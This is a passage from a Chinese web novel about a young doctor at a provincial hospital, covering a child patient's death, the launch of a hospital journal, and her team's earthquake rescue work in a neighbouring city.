南栀帮他们把行李收拾好。 医院有救护车,但是120系统还不完善,医院的车不够,没法送万昭回家。 万父开来一辆车,把后座垫平,让万昭直接躺在后座。 万母去结了费用,带着孩子下楼。 她停在前院,回头看了眼大楼,然后问南栀,“前几天捡到的狗,还在吗?” 南栀点头。 “我想把它们带回去,小昭很喜欢狗。” 南栀没有立刻同意,“它们能活很多年,考虑好了的话再带走吧,如果你本身不喜欢狗,也没法一直照顾下去。” 万母微怔。 她确实没考虑到那么多,只想着小昭喜欢的事,她都想做。 南栀说:“它们也是生命,需要负责的。” “你说得对,”万母沉吟片刻,道,“是我考虑不周,我再想想。” 周尔一瘸一拐地跟在后面,可怜巴巴地抹眼泪。 他抓着周母的衣角不放,“小昭不在了吗?他今天为什么一直没说话?” 万昭只有早上六点钟醒来吃了几口饭,之后就一直睡着,搬他去车上时都没醒过来。 这种状态确切来说,是已经昏迷了。 周母无语道:“你还好意思问?” 万母朝周尔走过来,手里拎着冰糖,“小周,小昭不喜欢吃了,这些都给你吃吧。” 周尔短暂地忘记伤感,两眼冒光。 周母捂住脸,没眼看这儿子。 这小子昨晚在家嚷嚷着做好事挨打了,她被爸妈好一顿数落。 她本来不想认错,作为父母,怎么会有错?! 但一想到即将离开的小昭,老万就算想道歉,他都不一定能知道。 她给周尔道了歉,想和儿子度过温馨的一晚。 然后这死小子便满胡同跑,说她做错了事! 她怎么会生这种儿子!! 私家车缓缓驶离医院。 车开得很平稳,带走一家三口。 南栀看得出神,肩膀忽然被人拍了一下,她惊讶地回头,陆随道:“每天都有病人被殡仪馆的车拉走。” 殡仪馆的车是专门定制的,车厢更大,有的可以直接把棺材放进去。 “前天刚送走两个,一个六十多岁的男人,心梗,送过来时已经没救了。还有一个是喝酒喝的,家属都不同意花钱去救,非要把人带走,刚折腾到医院门口就走了。” 陆随以前不知道,这种事见得多了,真的会麻木。 不是对死亡不再敬畏,而是没时间挨个伤感。 有伤感的时间,他都能被韦宁雨逼着背几篇论文出来,这不好吗? 南栀叹气,“留在儿科也挺好的,起码大部分都是小病……” 南栀话锋一转,“韦宁雨和我说,你只写了五篇文章给他。” 陆随:“……” 他转身往回走,南栀追过去,“你可是主力,我都交了十几篇了,你怎么才写五篇?你不是很厉害吗?全校第一?” 陆随:“?” 她入学后,教授的注意力都被她吸引,他们研究生上课,教授都得提她几句,现在和他说这话? 他写文章的速度已经很快了,只有南栀这种非人类才能更快。 还让他加速?这不可能做到。 南栀说:“我哥都交了六篇了,韦宁雨说再攒攒,到时候做月刊。” 陆随:“箫珵?!” 现在就回去继续写! 南栀开小儿神外门诊的时间越来越长。 她和患者们打听过,有一半是看到韦宁雨制作的传单过来的。 南栀有幸看到传单,仿佛看到几十年后的洗脑小合集。 “……这真的不是在骗人?” 包治百病? 韦宁雨振振有词,“这些人都是去不起首都的,原本人家都不打算治病,现在愿意来康宁医院,你就说我把他们引过来对不对!” “这……” 韦宁雨问:“省内还有比你更好的儿科神外医生吗?” 南栀:“没有。” 魏联:“你脸皮有点儿……” 南栀说:“这是冷静分析的结果。” 去省会开会时,他们可见了不少外科医生。 魏联:“……” 已经比城墙还要厚了。 阮乔表示,“我们栀栀不仅是省内最好的医生,她还可能是全国最好的医生!” 南栀:“……这有点儿吹不来了。” 几位教授肯定比她强得多嘛。 “别谦虚,”阮乔说,“你胜在年轻,将来肯定比她们厉害!” 魏联道:“那也得要科研成果,要学历,南栀有研究的课题?” 这话让南栀想起冯固说的话。 她的确该把目光放得更长远些。 几天后,万昭的死讯传来。 万母亲自来医院将消息告诉南栀,还准备带走两只狗。 “我仔细想了想,其实我不是不喜欢狗,只是小时候被家里的狗咬过,而且我妈一直不同意养狗。我姐家养狗,小昭走的前几天,我把狗带过去,能看出他是开心的。” 虽然反应很小,但她好像和周尔一样,能看懂小昭藏在眼中的话。 她不想再生儿育女,深思熟虑后,决定把狗接走,他们之间有缘分。 南栀没再阻拦。 万母还说小昭走得挺平静的,最后几天没再喊疼,睡觉的时间居多,呼吸越来越困难,但她按照南栀叮嘱的给小昭调整体位,调整好后看起来舒服多了。 南栀忽然理解了临终关怀的意义。 死亡不可避免,既然没法阻止,就要坦然面对。 万母临走前,还等到了周尔,她是特意来感谢周尔的。 但见面的场景有些滑稽,周尔怀里揣着一个东西在前面跑,周母举着扫帚在后面追,母子俩都嗷嗷跑 。 周尔躲到万母身后,把怀里的东西塞给她,“快拿走!我先走一步,阿姨保重!” 万母提着他的衣领把他留下,“怎么又挨打了?” 她低头去看周尔塞给她的东西。 是黑色的,很硬,不厚,这是……黑板?! 准确地说,是黑板的一小部分,从边缘看,还有被打破的痕迹。 黑板上是小昭写的那些符号。 周母终于追了上来,“你个死小子,你知道一块黑板多少钱吗??这都是要赔钱的!!” “妈!!”周尔试图保命,“我犯病了!我是病人!我要不行了!” 周母:“我现在就让你看看天上的星星!你去和阎王爷说!” 万母赶紧说:“他是想把小昭的字留下给我,姐,这钱我出,你别再打他了。” 周母太生气,这会儿才看清万母,赶紧收起弄死周尔的势头。 她看向黑板,“小昭的字还没被擦掉?” 周尔自豪道:“那当然了,当天我就去把黑板打碎了!” 周母:“……” 周尔:“我藏得特别好,老师查了好几天才查到我!” 周母:“……” “如果不是有人告密,老师还得查更久!” “……” 难怪老师找到她时要气炸了!! “周尔!你的心是好的,但你能不能和我说一声?!你要主动和老师解释经过,怎么能等老师查到?!” 周尔真诚地问道:“我主动说,你就会让我打碎黑板吗?” 周母:“……” 当然不会。 这浑小子,好像变聪明了? 周母尴尬地咳嗽,“这回我就不和你计较了,下次不准再砸黑板,知道吗?” 周尔嘀嘀咕咕,“小昭又不会总在黑板上写字,我平时都懒得看它。” 尤其是上课的时候,更懒得看。 周母:“……” 她需要急救!急救! * 康宁医院的小儿神外在院内所有人关注下走上正轨。 一大早,尚延乐呵呵地主持会议,“连院长表扬我们了,说是市里的领导听说康宁可以动手术,高兴得很,还答应给康宁医院拨款。” 阮乔刚想欢呼,就看到卢含娇面无表情地抱着胳膊。 她低声道:“卢主任真扫兴。” 南栀朝她摇头。 “我们儿科是越来越好了,人也越来越多,”尚延看向韦初雪,“小韦以前是研究肿瘤的?” 韦初雪点头。 尚延说:“大城市的医院有肿瘤科,是专门研究各种肿瘤的,未来对肿瘤的研究只会多不会少,汤院长同意你来小儿神外,继续努力吧。” 韦初雪笑道:“我想应该没人比我更了解脑瘤。” 阮乔:“……” 韦初雪出院回来后变了,每天都在讲冷笑话。 这天本来就不暖和,和韦初雪待在一起,她更冷了。 尚延又道:“咱们儿科,还是主要研究好内科,外科手术,除了神经外科,其他还是都要交给外科的同事们。不过连院长希望儿科能再整合,新生儿和儿科其实有相交的地方,连院长决定,把新生儿并入儿科……” 阮乔现在跟着南栀一起出门诊。 小儿神外能出门诊的医生也就南栀,魏联擅长的不是这方面,他平时在儿科出门诊,手术时才会进手术团队。 至于韩阅松,就更不能出诊了,他倒是用功,每天都在看书,就是不理他们。 南栀安稳地过了一个月。 多亏有冯固帮忙,这一个月,南栀几乎没去学校上课。 冯固还会把南栀可能不知道的内容单独整理出来,然后再给她细讲。 不过给南栀开小灶时冯固发现,南栀好像没什么不知道的,即便不知道,她也能很快理解。 显得他这位老师格外没用。 于是冯固再三提醒,“签名的事,给办啊。” 南栀乖巧道:“已经和舒教授还有陆教授提过了,她们已经签好,邮寄不太方便,我去看望舒教授时会带着。” 舒映阶癌症的进展速度不算快,南栀打算把假期攒起来,一口气请了,然后去首都看望她。 冯固这才安心,“好好好,不枉费我做你的老师,为师很满意!” 小灶通常是晚上开的,冯固亲自来医院,挑南栀值班的日子。 按照他的说法,时间要充分利用起来,如果没有病人,干等着多浪费时间?就得学习。 送走冯固,南栀还得继续值班,陆随今天不在,她没有能欺负的人,还真有点儿无聊。 最困的时候,南栀感觉楼体晃了一下,她睁开眼看医院大楼,好端端的,什么动静都没有。 第二天,南栀还没下班,韦宁雨便抱着一摞书走了进来。 确切地说,这是一摞杂志。 “已经印刷好了,封面是我设计的,瞧瞧康宁医院这几个字,是不是特别帅?” 南栀接过杂志仔细看封面,还真挺好看。 韦宁雨得意道:“这是第一批,背后有定价,手续也都办妥了,先 把这些送给医院内部的医生,激励他们投稿。” 南栀:“这能激励?” “我和连院长谈过了,”韦宁雨说,“以后奖金和杂志挂钩,他们如果想多拿奖金,那就多投一点儿。这有什么不好的?他们想投好杂志也投不中啊。” 南栀:“……,连院长愿意?” “这是好事,他不仅乐意,还说如果搞成了,功劳给儿科。他还说做院长不太舒服,我比他更适合,我也这么觉得的。” 南栀深以为然。 韦宁雨扎针一流,做护士也不错。 但就凭他能在短时间内和刚认识的人混成兄弟的能力,他未来的发展绝对不局限于做护士。 “还有一个事,”韦宁雨打开办公室的收音机,“你早上听了吗?” “没来得及。” 韦宁雨说:“大新闻,连营市地震了,好像是六级还是七级。” 连营市是隔壁省靠北的小城市,距离临川不算太近,但也不远。 “昨晚吗?”南栀说,“我好像感觉到楼晃了一下。” “嚯,咱医院这楼,真是有年头了,不结实吧?抽空还得和小连聊聊。” 怎么不修修楼呢?做院长要有梦想! 连营市发生七级地震,附近城市都被波及。 震中失联,正在派人去救援。 “收音机有连线当地的人,听说很多房屋被毁,到现在还有很多人被埋在地底下。”韦宁雨唏嘘道,“这些人真惨啊。” 七级地震对于现在的救援能力来说,可能很难应付。 南栀想到她刚来康宁医院时,发现就连医护人员对急救方式都不算十分了解。 她想了一会儿,说:“我们去见见连院长?” * 院长办公室,连争正美滋滋地喝茶。 这茶是他老丈人送的,据说是从西南运过来的好茶。 他其实喝不出好坏,但就是觉得不错。 主要是免费,其实只要免费,很多东西就很好吃好喝了嘛。 韦宁雨敲门走进来。 连争:“?!” 一级警报,强盗来了! 南栀紧随其后。 连争:“!!” 整个医院的诈骗专家都过来了?! 连争先护住电话,“医院刚进设备,现在没钱。” 南栀:“……我们不是来要钱的。” 连争:“也没人!你们儿科现在够不错了,科室的人比我家里的人都多!” 韦宁雨笑眯眯道:“您别紧张,我们不是坏人。” 连争道:“你去照照镜子,你哪里不像是坏人?!” 南栀试图给韦宁雨解围,“我们是有好事来找您。” 连争:“你更坏!!” 最后是韦宁雨强按着连争,南栀才趁机把话说完,“连营市地震了,那边比临川更落后,救援力量肯定不够,您想不想在市里露脸?” 连争皱眉。 韦宁雨说:“院长,你可是我们康宁医院的院长!我们康宁医院现在地位不一样了,进步了,但我们不能掉以轻心啊!” 连争面无表情道:“你也可以来做这个院长。” “我不行我不行,”韦宁雨说,“我舍得不花钱买设备。” 连争:“……” 这两人果然是来坑他的! 难怪开会时各科主任都说防火防盗防儿科,这是真理! 南栀道:“您就算不安排,以咱们和连营市的距离,市里肯定也会安排,不如您直接向市里请示,还能让市里看到您的高瞻远瞩!” 连争皱眉。 韦宁雨:“让全市人民看到您的智慧!” 南栀:“让市领导看到您的实力!” 连争晕乎乎的,“我吗?我能行?” 南栀&韦宁雨:“您肯定行!” 连争自豪地挺直腰背,“你们的意思是去救援?” 南栀赶紧说正题,“那边的医护人员肯定不够,挖人救人都需要医生在场。省里现在是没反应过来,等反应过来了,肯定要从各大医院抽人,不如我们主动,还能换个好名声。” 韦宁雨说:“我去找媒体,必须报道这事,给咱们医院造势。” 连争感动道:“小韦啊,你真是一心为医院考虑,我单独为你开个宣传科吧?” 韦宁雨拒绝,“他们没良心,我不一样,我有良心。” 连争:“别客气,你也没什么良心。” 韦宁雨:“……” 南栀的话确实有道理,他们临川已经靠近山区,连营市更加落后。 七级地震,造成的破坏可想而知,连营市的房屋估计没什么抗震能力。 以前遇到泥石流灾害,医院就派人出去救援过,地震也需要医护人员。 连争说:“我给领导打个电话。” 南栀:“好嘞!” 连争得意道:“我这个院长,还是很智慧很聪明很有大局观,很……” 他还没夸完,一抬头,南栀和韦宁雨已经走了出去。 连争:“……” 用完人就跑,还说有良心?! 市里联系了连营市,发现连营市现在已经完全失联。 连营市附近的几个城市受灾轻些,他们回复临川市,连营市很多地方都被掩埋,现在电力系统瘫痪,一片混乱。 连争立刻决定,抽调医生组成救援小组,去连营市帮忙。 地震所造成的伤情一般为各种骨折、颅骨外伤、软组织伤还有挤压综合征。 骨科医生肯定得去。 南栀也得去。 还得挑几个护士去。 最后救援小组定下来十个人。 除了南栀、阮乔、陆随和韦宁雨,还有两个骨科的医生,剩下的是护士。 他们十人先去看看情况,如果有需要,再继续调人,如果其他城市也派人过来,他们出十人就好。 临行前,连争把大家聚在一起给他们加油打气,“你们是医院最好的医生,要对自己有信心,当然也要保护好自己,连营市可能还有余震,注意防护。” “还有啊,咱们康宁医院历史悠久,我们……” 没什么人在听。 南栀伸手在连争眼前晃了晃,“连院长,您先别说话。” 连争:“?” 会议室安静下来,南栀说:“好了,我先给大家讲一下救援知识。到现场后,医生的第一个任务是给伤员分级……” 连争:“……” 他是院长,他是院长! 已经没人搭理连争。 市里对康宁医院主动提出救援大家赞赏,提供了一辆大巴车,亲自去医院接人。 南栀回家简单收拾了东西又回来,只背着一个小包。 大巴车上还有其他人。 南栀仔细一看,发现是其他医院的医生,其中还有田宏。 田宏正在和同行人抱怨,“我们太惨了吧,人家地震,我们跑过去救人,领导是不是有毛病?” “好像是康宁医院主动提出来的。” 田宏:“他们是不是有毛病?!” 南栀和阮乔在田宏身后坐下,“这种事讲究自愿,你不愿意去留下就好。” 田宏愤愤地回过头,“还不是怪你们?我们院长说去了才给奖金!” 恩德医院负面新闻缠身,急需正面形象挽救,因此对救援一事很上心。 南栀说:“哦,原来是又想要好处,又不想干活,这叫什么?” 阮乔道:“又当又立。” 两人愉快地击掌。 田宏:“你们!” 可恶的家伙! 田宏又把矛头对准陆随,“你这娇贵的也去?不怕遇到余震把你埋了?” 陆随和韦宁雨坐在过道左手边。 南栀扭头说道:“你一定要在我身边被埋啊,我能救你。如果在阿猫阿狗旁边被埋,他都不知道怎么救人。” 田宏:“!!” 她说谁阿猫阿狗?她说谁?! 田宏气呼呼地转回去。 同行人翻了个白眼给他,嘀咕道:“说不过人家还非得上赶着送人头, 恩德医院的脸都让你们丢尽了。” 天知道,他刚去恩德医院时,这还是一个好医院,短短两年的时间,就已经成为黑心医院的代名词了。 他可是因为优秀才去的!! 阮乔趁机拉拢,“恩德医院有什么好的,不如来我们康宁,我们的待遇是差了一点儿,但该有的设备都有哦。” 南栀扇风道:“以后待遇也会变好的,连院长已经在开会讨论提工资的事了,我们连院长说话算数。” 田宏吼道:“谁要去你们的破医院?” 同行人还真心动了,认真问道:“我们去了有宿舍吗?” 田宏:“喂!都是假的!是在骗你!” 南栀否认,“怎么会是假的?” “你们医院大楼的墙皮都快掉没了!” 南栀:“这才更显得我们实在嘛,不要在意外表,外表光鲜亮丽有用吗?把大楼盖成你们医院那样,有用吗?该进局子不还是得进去?我们院长最注重的就是设备和人!” 田宏:“……” 又被暗讽了。 阮乔说:“田医生也考虑考虑,以后临川市是我们康宁的天下,有儿科和心外科在,康宁医院就不可能再没落,留在恩德医院没前途哦。” 的确,过完年后,恩德医院的病人越来越少。 在同等条件下,他们更愿意去康宁医院。 最明显的就是,病情复杂的病人不愿意来了,来的都是些小病。 这意味着在市民眼中恩德医院和康宁医院的口碑已经调转,在市民心里,康宁医院是更好的医院,可以治大病。 恩德医院一般,只有看小病才放心。 南栀:“有新设备可以用哦。” 田宏:“……我宁死不屈。” “这就是田医生不对了,”阮乔说,“做医生是治病救人,谁都希望去更好的医院,怎么扯到宁死不屈上了?好医生去好医院,对病人也好嘛。” 田宏:“……你们工资多少。” 他竟然可耻地心动了。 而且还认同了阮乔口中“康宁医院是更好的医院”的论调。 可耻!! 大巴车开到连营市要七个小时,其中还有一小段是山路。 南栀在车上被晃得晕头转向,有点儿晕车。 中途休息时,陆随下车晃了一圈,南栀留在车上休息。 南栀没一会儿就闻到了橘子香。 她睁开眼,看到陆随在扒橘子,“闻一闻,没那么容易晕车。” 南栀乖乖地接过橘子,的确比刚才好多了。 刚上车的阮乔:“……” 她是不是碍事了。 阮乔示意陆随和她换位置。 陆随道:“你们坐。” “别了,我有负罪感,”阮乔把陆随赶走,“我还是和单身狗坐一起吧,韦宁雨,你下车时就没买点儿橘子给我吃。” 韦宁雨道:“他们一兜橘子卖好几块钱,明摆着坑人,我是奸商,我能被他们坑?” 阮乔:“……” 男人之间的差距也太大了。 阮乔道:“活该你单身。” 南栀一直迷迷糊糊地睡着,车开动也不知道,更不知道身边已经换了人。 垂着头不太舒服,南栀摸索着旁边的胳膊,枕了过去。 阮乔正和韦宁雨谈如何正确地谈恋爱,“你一定要记住,不管你和谁谈恋爱,你都要把我当成朋友,给我买吃的买喝的买用的买穿的……” 韦宁雨很感动,“谢谢你为我着想,脸皮厚的朋友。” 阮乔:“嗐,都是我应该做的。” 她扭头看南栀,“这还说不敢和陆医生亲近?” 分明已经靠过去了,而且看起来睡得挺舒服的。 田宏也抱着椅背回头,“你们到底是去谈恋爱还是救援的?分开,快分开!” 他就看不得陆随甜蜜。 陆随淡定道:“你有你也靠。” 田宏:“……” 陆随:“该不会有人是单身吧?” 田宏:“……” 半车单身狗:“……” 他们欲哭无泪:只是没找对象,招谁惹谁了?! 南栀被吵醒,睁开眼睛看了好一会儿,惊讶道:“乔乔,你腿这么长啊。” 阮乔呵呵冷笑,“原来在你心里我腿短。” 南栀心虚,“只是比想象中长得多……哎?” 声音方向不对劲。 南栀坐直,看向阮乔。 确认阮乔在过道对面后,她揉了揉眼睛,回头看陆随。 陆随问:“还吃橘子吗?” 南栀想起来了,刚刚陆随给她橘子来着。 阮乔说:“栀栀啊,你和陆医生……是不是进展到最后一步了?” 什么靠着抱着的,都很自然嘛。 南栀好奇道:“最后一步是哪一步?” 韦宁雨和陆随紧张起来。 阮乔说:“就是最后一步呗。” 韦宁雨:“你别乱说了,安静安静。” 阮乔:“?,我和南栀聊天,关你什么事?我这不是关心他们么。” “那也不能在这么多人面前说这种话……” 阮乔:“这有什么,我就没试过最后一步。” 她靠近南栀,低声问:“你们亲过了吗?听说最后一步特别难,接吻很难吗?” 韦宁雨:“……” 活该她单身。 第107章 第107章坠楼 大巴车抵达连营市时已经是黄昏。 道路被落石阻挡,大巴车没办法继续开,当地人听说他们是医生,自发地贡献了家里的三轮车。 一个人蹬车,后面坐着几个人,尽快往震中运。 还有人提着热水在路边走,看见有受灾的、找不到家的,就去送点儿热水,好歹先撑一撑。 “最严重的是连州镇,在连营市北边,听说那边都快塌完了。你们去哪,连营市医院吗?医生们基本出去救人了,现在医院可能都是空的,而且医院也塌了好几栋楼。” 七级地震的威力和南栀曾经见过的八级没办法相提并论,但对于连营市来说还是不小的灾难。 这里的楼年代久远,市里没钱修缮,倒的很多。 普通老百姓大部分都住平房,原本更方便逃生,但发生地震的时间是晚上,许多人都已经躺下休息,没来得及逃跑。 南栀道:“直接送我们去震中吧。” 骑车大哥说:“那边可危险,那破房子倒得,都没住的地方了。” 南栀说:“没关系的,我们现在过去,救出来的希望更大一些。” 连营市几乎没什么好医院。 市里最好的医院也治不了什么大病,如果身体出问题,医生会第一时间建议患者转去省会的医院。 这两个省都挺穷,省会的医院也一般,许多人是在路上就被耽搁死了。 当初杨芬选择去小地方做医生,还去山里办卫生所,就是因为偏远地区看病实在不方便,有很多人并非大病,却因为没有医疗条件送命,实在可惜。 救援现场一片混乱。 当地的警察、军人都加入了救援行动,但都没有系统的救援方案。 也有医护人员试图急救,方法大多不标准。 乌云聚拢,天色愈来愈暗。 三轮车停在路边,几乎没有可落脚的地方。 现场只有几束手电筒的光晃来晃去,灯光经过残垣,南栀看到一只手无力地伸出来,已经僵硬。 连州镇人口不多,但此惨景,还是叫人于心不忍。 南栀往震中跑,田宏肯定也要跟过来,康宁医院的十人和恩德医院十人是一起到的。 田宏意气风发,“兄弟们,干活!我们要帮连营走出困境!” 迎合他的人很少。 南栀懒得看他,对身后几人说道:“记住我说过的,干活吧。” 阮乔带头,九人异口同声道:“好。” 倒是挺有气势。 田宏:“……” 他干脆也去康宁医院得了! 连州镇也有一家医院,此刻医院所有医生都在连州镇上唯二的小学里。 这两所小学的楼都受损,其中一栋楼估摸着是质量不达标,直接陷入地面。 被埋起来的学生很多,得尽快救援。 罗湘君是连州镇医院的院长,此刻正组织大家挖人。 医护人员们手忙脚乱,“院长,这有个学生,没有意识,但还有呼吸,怎么办?” “我这里有个……断了手的。” “院长!我这边也找到一个人!” 罗湘君根本忙不过来,她看着等待救援的孩子们,越看越着急,越着急越出乱子。 医生绝望地看着罗湘君,“院长,咱们镇是不是完了?市里的医院为什么还没派人过来。” 罗湘君已经忙了一整天,现在手控制不住地发抖。 她坐在残垣上,试图让自己冷静,“咱们地震,市里就不地震吗?指望市里派人过来是不现实的,咱们市的实力,恐怕顾不上我们。” “那怎么办?看着他们死吗?!” 她现在还能听到废墟下传来的哭声,可她根本不知道人在哪里。 哭声越来越少,越来越弱,能坚持下来的人不多了。 罗湘君现在也没有更好的办法。 她已经把医院所有还活着的医生都叫了过来,把所有能动的物资全都搬了过来,找到被困的孩子就直接拉过去治病,可还是有很多人死去。 罗湘君不确定道:“或许省里能派人过来?” “省里也得顾着自己,不知道震中是哪里,可能只会往震中走吧。” 他们完全和外界断了联系,现在连地震究竟是几级都不知道,只知道时不时就会有余震。 就在这时,几辆三轮车嘎吱嘎吱停在路边。 罗湘君拿起手电筒看过去,“是来送饭的?” 她看到很多人一起从三轮车上跳下来。 不是送饭的。 为首的是个年轻女人,看着年纪很小。 她快步走向罗湘君。 曾给连州镇送过包子的老王介绍道:“这位就是连州镇医院的院长,罗院长,这是从临川市过来的医生,是来帮忙的。” 罗湘君愣愣地看着南栀。 临川市……的医生? * 连营市的消息陆陆续续传出来,省里正在讨论如何救援。 消防、当地军人都已经派过去,把人挖出来还得靠他们。 但是挖出来之后怎么办? 得有医生。 可现在整个省都经历地震,到处都需要医生。 消防不够,尚且去找年轻力气大的补上,可医生不够,他们能去哪里补? “向附近两个省求助?这次地震,咱们省受影响比较大,他们几乎没被影响。” 领导眉头紧皱。 已经提过了,但人手还是不够。 秘书敲门走进来,“您好,首都来的电话。” 领导回办公室接电话,剩下的人继续讨论。 “唉,咱们省的医护人员太少了,主要还是医科大学不行,平时就说多培养医生护士,现在好了, 用的时候没有。” “临川市似乎也在搞什么医生培训班,现在是脱产学习,学一年就毕业,好好搞的话,应该还不错。” “这都是以后的事了,问题是眼下怎么办!” 他们争论不出一个结果。 没过一会儿,领导喜气洋洋地回到会议室,“首都派人了,医疗救援队已经上火车,马上就到!” 会议室内所有人都激动起来。 首都都注意到连营市的情况,其他省肯定也不会放任不管,连营市有救了! 首都的医护人员抵达省会后,改乘大巴车前往连营市,没有直达连营市的火车。 他们的情况要比南栀到时好一些,地面已经清理出来不少,不用早早就坐三轮车。 路上,医护人员还在讨论救援方案,“我们要参考以前地震的救援方案,准备好夹板、尿管、血浆、消毒剂、抗生素、破伤风……护士们尽快做静脉穿刺,输液、导尿、固定、包扎……如果有不懂的,就来问我,不要自己做决定。” “主任,我刚才看到有房子倒了,这次连营市死了很多人吧?” 主任看了眼窗外,伤感道:“这边医疗条件落后,就算救出来了,很多人也只能等死。估计已经完全乱了。” “当地的医护人员也会救人吧?” 主任说:“平时都看不了什么大病,现在又能做什么?” “那咱们需不需要把他们叫过来,带着他们一起救援?” 主任沉默地摇头,“他们现在肯定也在救人,让他们做点儿简单的工作就行了。现在离地震过去两天,咱们得抓紧时间救人。” 连营市受灾最严重的就是连州镇。 大巴车开到连州镇,主任看到已经有两辆车停在路边,有人正在搬物资。 主任奇怪道:“他们倒是挺有秩序的。” 和他想象中的场景不太一样。 他曾经参加过救援,一般情况下,现场都是混乱的。 主任背着医疗物资往车外走,罗湘君已经在车下等候,主动伸出手,“您好,我是罗湘君。” 主任点头。 罗湘君直奔主题:“目前两所学校的宿舍楼比较严重。这两所学校是寄宿学校,有很多学生是从偏远地方过来的,就住在学校,地震时他们都在。” 学校是被资助的,属于公益性质,交的钱比较少,许多山区上学不方便的孩子会被送到这里住下。 非住宿学校晚上不会留人,没有伤亡,只有这两所寄宿学校情况严重。 主任道:“明白,我们来安排,要先搭个临时治病救人的地方,像战争时的野战医院……” 罗湘君笑道:“已经搭好了。” “……啊?”主任摸了摸鼻尖,继续说,“最好能给伤员分级,如果你们无法分辨,就我们来,情况严重的要先接受治疗。” 罗湘君说:“已经在分了,您过去后,可以先领条子,是按照不同颜色来分的,找到人后判断伤势,把条子系在手腕上。” 主任:“……” 谁把他的活儿都干了? 主任迷茫道:“你们医院……这么有本事?” “不是我们医院,”罗湘君认真道,“是临川市康宁医院的医生,他们先教我们如何急救,再一起工作。现场还能做手术,尽量保证是无菌环境,但是没办法,肯定不如手术室。” 主任:“……” 临川?哪里? 康宁医院?什么地方? 主任加快脚步,迫不及待想看到学校的情况。 一行人很快来到学校。 现场除了消防和参与救援的普通人,还有很多穿着白大褂的医生。 学校操场上搭了很多帐篷,还有自制的简易担架。 罗湘君欣慰道:“我们当时真的是六神无主,不知道该怎么办,幸好临川的医生及时过来,帮了我们大忙。南医生很厉害,她是医生,什么都懂,怎么挖人救人她都能提提意见,物资运输也是她组织的,有她在,我们的工作顺利多了。” 主任:“……” 身后的医生小声问道:“主任,这乱吗?” 不是说会完全混乱吗? 主任:“……” 南医生?谁? 罗湘君指着不远处的年轻女人说道:“就是她,南医生很厉害,手术做得非常好。” 主任认真打量南栀,她看起来像是医学院的学生。 这些……都是她带人做的?! * 这次南栀十人来到连州,算是给康宁医院大大长脸了。 电视新闻正轮番报道连营市的情况,提到震中的次数最多。 每次报道,都要提一遍临川市的康宁医院。 每次采访,被采访的人也要感谢一遍临川市的康宁医院。 连争遇到其他院长时,那叫一个昂首挺胸,他们康宁医院的名声已经传出省外了! 田宏很不服气。 明明是一起来救援的,他们怎么只感谢康宁医院? 康宁医院有这么好哦? 同行的医生劝道:“咱们现在不都是听南栀的话做事?人家的贡献确实比我们大,震中能运作起来,都是人家的功劳。” 田宏嘟嘟囔囔不太高兴。 阮乔路过,微笑道:“要不田医生来做手术?田医生是普外的吧?” 田宏:“……” “喏,这有一个脑外伤严重的,就快咽气了,交给田医生?” 田宏嘟囔道:“我又不会。” 阮乔:“不会你还废话!干活去!” 田宏赶紧抱着药箱走了。 南栀把所有医生都聚到一起,给每个人都排了班。 首都来的主任带着医护人员过来,听南栀给他们一起开会。 主任皱眉道:“你们辛苦了,应该多休息,但是我们刚到,我们可以顶上。” 他说完,特意补充道:“基本的救援知识我已经教过他们了,放心吧。” 不说这话,在南栀面前总有矮一头的感觉。 南栀笑道:“该休息还是要休息的,咱们来救援,最最重要的工作就是保护好自己,我们倒下了,谁来救人?该休息就休息,工作时认真做就好。” 主任:“……” 南栀好像有点儿院长范儿。 救援持续一周,医院重新运作,罗湘君带人回到医院。 路面已经被清理干净,找到被压群众后可第一时间送到医院救治。 除了南栀,能动手术的医生很多,现在连州镇的医疗资源是十分丰富了。 韦宁雨趁着不忙时,顺便给连州镇的医生发传单,“可以来我们医院参观学习哦。” 主任:“……” 康宁医院这是什么作风? 韦宁雨还带来了康宁医院出的杂志,人手一本。 “这是我们医院自己搞的,应该有点儿用,买期刊太麻烦了,直接带给你们,有用的话最好,没用拿回家烧火也行。” 罗湘君感激道:“你们能想着我们,我们就很感激了,怎么会烧火?可惜我们相处的时间太短,不然真想多跟着你们学习。” 康宁医院的人好像都很有本事,什么都懂。 尤其是南栀,各个科室的医生都向她提过问题,就没有她答不上来的。 如果细问,她就说看过书、看过论文、看过病历。 但是看过就能记住,这一点也足够可怕。 韦宁雨说:“这好说,我们南医生为了帮笨蛋阮医生,整理出来很多笔记,回头我邮给你们。” “那就太好了!” 阮乔:“……” 笨蛋阮医生? 她只是和南栀比起来,显得没那么聪明好吗! 在聪明人身边待着太吃亏了! 首都来的医生们都不在意杂志,他们想买期刊会方便很多,而且他们还有首都图书馆,接过杂志后就随手一放。 只有主任翻开杂志,他现在对康宁医院充满好奇。 也可以说是好胜。 本来以为他们会成为连营市的……不能说是救世主,但也差不多。 虽说他也是一心救人的,但人嘛,多多少少有点儿虚荣心。 没想到活儿全被人家做了,他全程听安排。 第一期期刊共有十篇文章,其中四篇是南栀的。 陆随有两篇,剩下的四篇作者不在救援队。 主任先看最后四篇,其中两篇是叫箫珵的医生写的,内容挺扎实,剩下的两篇有凑数嫌疑,不过也可以。 主任又去看陆随的文章。 陆随是心外科医生,内容大多是主动脉夹层、撕裂相关的内容,他和箫珵的文章放在自家小医院实在可惜。 主任最后才看南栀的文章。 南栀的文章涉及的内容就多了,优势十分明显,她好像在整理每一种病症的起因、症状、治疗方案。 不论是医生还是普通人,都能看懂她的文章。 主任心念一动。 他看向南栀,“你这文章……是给医生看的?” 南栀说:“康宁医院的期刊刚起步,在行业内毫无名气,我想着既然都出杂志了,就写得通俗易懂些,让普通人也能看得懂。” “普通人?” 南栀点头,“您看啊,很多人在发病的时候,身边是没有专业的医护人员的,比如脑梗、脑出血,这些病如果第一时间送到医院,是有很大希望的。如果能为大家普及这些医疗知识,普通人也能做出判断,及时送医,是不是能救很多人的病?” “就和扫文盲运动一样?” “差不多,只不过认字更重要。” 这倒是个新思路,主任写文章时,从没考虑过普通人。 但南栀说得也对,如果普通人也能了解一部分,他们和患者家属沟通起来也更容易。 将来说出“好好的人来医院就不行了”这种话的人,应该会减少吧? 主任嘀咕道:“小姑娘真不简单。” 两天后,医护人员渐渐撤走。 已经没什么可救的了,被掩埋且能坚持到现在的人少之又少。 有的楼沉得太多,人基本都被压死在里面,南栀曾去过地震纪念碑,附近有几栋倒塌的楼,导游说这楼就是下面的人的墓碑,挖不出来了。 连营市的医院已经能应付过来。 临走时,罗湘君带人来送几队人。 街边停着大巴车,有当地人鬼鬼祟祟往车上跑,又探头探脑下了车。 南栀几人上车才发现,座位上放得满满的当地特产,每个医生都有份。 